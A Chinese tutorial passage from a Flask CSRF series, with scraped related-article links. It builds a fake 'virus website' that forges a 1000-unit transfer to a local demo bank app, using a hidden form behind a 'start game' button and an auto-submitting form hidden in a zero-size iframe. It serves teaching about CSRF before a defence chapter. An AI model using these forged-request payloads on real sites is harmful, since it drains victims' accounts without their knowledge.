六十四:CSRF攻击与防御之系统准备之病毒网站转账实现
准备一个页面或图片,用于用户访问

一:表单方式
视图

from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run(debug=True)
页面代码

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
</head>
<body>
<h1>这是病毒网站</h1>
<img src="{{ url_for('static', filename='404.jpg') }}" alt="" width="100%" height="100%">
<form action="http://127.0.0.1:5000/transfer/" method="post"><!--转账接口和请求方法-->
<table>
<tbody>
<tr>
<td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
</tr>
<tr>
<td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
</tr>
<tr>
<td></td>
<td><input type="submit" value="开始游戏"></td><!--转账按钮-->
</tr>
</tbody>
</table>
</form>
</body>
</html>
数据库的情况

确保有cookie信息

用户点开始游戏


再看数据

二:js方式
自动提交转账的页面

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
<script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js"></script>
</head>
<body>
<form action="http://127.0.0.1:5000/transfer/" method="post" id="myform"><!--转账接口和请求方法-->
<table>
<tbody>
<tr>
<td><input type="hidden" name="email" value="22@qq.com"></td><!--转到邮箱-->
</tr>
<tr>
<td><input type="hidden" name="money" value="1000"></td><!--转账金额-->
</tr>
</tbody>
</table>
</form>
<script>
$(function () {
$('#myform').submit(); //访问页面就自动提交代码
});
</script>
</body>
</html>
视图

from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/transfer/')
def transfer():
return render_template('transfer.html')
if __name__ == '__main__':
app.run(debug=True, port=8888)
提供给用户访问的页面

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>病毒网站</title>
</head>
<body>
<h1>这是病毒网站</h1>
<img src="{{ url_for('static', filename='404.jpg') }}" alt="" width="100%" height="100%">
<!--因为转账有响应的页面,所以使用iframe将其网页在当前页面加载为子页面,并把宽和高都设为0,用户就察觉不到了-->
<iframe src="{{ url_for('transfer') }}" frameborder="0" width="0" height="0"></iframe>
</body>
</html>
数据库信息

用户访问页面

数据库信息

六十四:CSRF攻击与防御之系统准备之病毒网站转账实现的更多相关文章
- 六十三:CSRF攻击与防御之系统准备之登录与转账功能
登录功能 在forms里面添加验证 class LoginForm(Form): email = StringField(validators=[Email(message='邮箱格式错误')]) p ...
- 六十二:CSRF攻击与防御之系统准备之注册功能
CSRF攻击原理: 配置信息 import osSQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:123456@127.0.0.1:3306/test'S ...
- Gradle 1.12用户指南翻译——第六十四章. 发布到Ivy(新)
其他章节的翻译请参见:http://blog.csdn.net/column/details/gradle-translation.html翻译项目请关注Github上的地址:https://gith ...
- SpringBoot进阶教程(六十四)注解大全
在Spring1.x时代,还没出现注解,需要大量xml配置文件并在内部编写大量bean标签.Java5推出新特性annotation,为spring的更新奠定了基础.从Spring 2.X开始spri ...
- 第三百六十四节,Python分布式爬虫打造搜索引擎Scrapy精讲—elasticsearch(搜索引擎)的mapping映射管理
第三百六十四节,Python分布式爬虫打造搜索引擎Scrapy精讲—elasticsearch(搜索引擎)的mapping映射管理 1.映射(mapping)介绍 映射:创建索引的时候,可以预先定义字 ...
- “全栈2019”Java第六十四章:接口与静态方法详解
难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...
- 孤荷凌寒自学python第六十四天学习mongoDB的基本操作并进行简单封装3
孤荷凌寒自学python第六十四天学习mongoDB的基本操作并进行简单封装3 (完整学习过程屏幕记录视频地址在文末) 今天是学习mongoDB数据库的第十天. 今天继续学习mongoDB的简单操作, ...
- 六十五:CSRF攻击与防御之CSRF防御之form表单防御
防御原理,将csrf_token放到session中,再将session放到cookie中 实现: from flask_wtf import CSRFProtect # flask_wtf 已经提供 ...
- OpenCV开发笔记(六十四):红胖子8分钟带你深入了解SURF特征点(图文并茂+浅显易懂+程序源码)
若该文为原创文章,未经允许不得转载原博主博客地址:https://blog.csdn.net/qq21497936原博主博客导航:https://blog.csdn.net/qq21497936/ar ...
随机推荐
- 接口测试工具中 post请求如何传递多维数组
1,请求参数为数组时,可以采用传递 json格式的形式传递请求参数(字段及字段对应的值如查是字符,都应该用双引号括起来.用单引号会无法识别),后台接收的数据为json . 2,直接以数组格式来请请求 ...
- 白话跨域CORS
跨域访问控制是浏览器和服务器按照约定,协同工作,守护安全的一种机制. 其中认为浏览器和服务器是安全的,但是浏览器上运行的页面(HTML+JS)可能不安全. 分几种不同方式. 页面跨域简单请求(Get/ ...
- 浅析jsp
什么是jsp?jsp的全称是 java Server Page ,也就是俗称的动态网页,什么是静态网页和动态网页呢,在我理解看来,HTML等网页就属于静态网页,jsp等网页属于动态网页,为什么这么说呢 ...
- VSCode远程连接Docker
一.Docker开启远程访问 [root@local host ~]# vi /lib/systemd/system/docker.service #修改ExecStart这行 ExecStart=/ ...
- 网卡绑定(bonding)
就是将多块网卡绑定同一IP地址对外提供服务,可以实现高 可用或者负载均衡.当然,直接给两块网卡设置同一IP地址 是不可能的.通过bonding,虚拟一块网卡对外提供连接, 物理网卡的被修改为相同的MA ...
- JAVA bean为何要实现序列化
简而言之:序列化,就是为了在不同时间或不同平台的JVM之间共享实例对象.即序列化出于两个原因:①.用于持久化到磁盘上:②.用于作为数据流在网络上传输. 所谓的Serializable,就是java提供 ...
- Google Protocol Buffer入门
简介 Google Protocol Buffer( 简称 Protobuf) 是 Google 公司内部的混合语言数据标准,目前已经正在使用的有超过 48,162 种报文格式定义和超过 12,183 ...
- 源码安装 qemu-2.0.0 及其依赖 glib-2.12.12
源码安装qemu-2.0.0 下载源代码并解压 http://wiki.qemu-project.org/download/qemu-2.0.0.tar.bz2 .tar.gz 编译及安装: cd q ...
- VMware 虚拟机下载与安装
虚拟机下载 VMware官网地址:https://www.vmware.com/ 进行官网后,点击左边的下载图标,然后 根据操作系统选择合适的产品,在这里以Windows系统为例,点击转至下载,如下图 ...
- mysql 查看删除触发器等操作
mysql 查看删除触发器等操作 平时很少操作触发器,源于昨晚的一次故障,使用pt-online-change-schema修改大表过程中出现异常,再次执行时,提示已经存在触发器,导致失败. 这里推荐 ...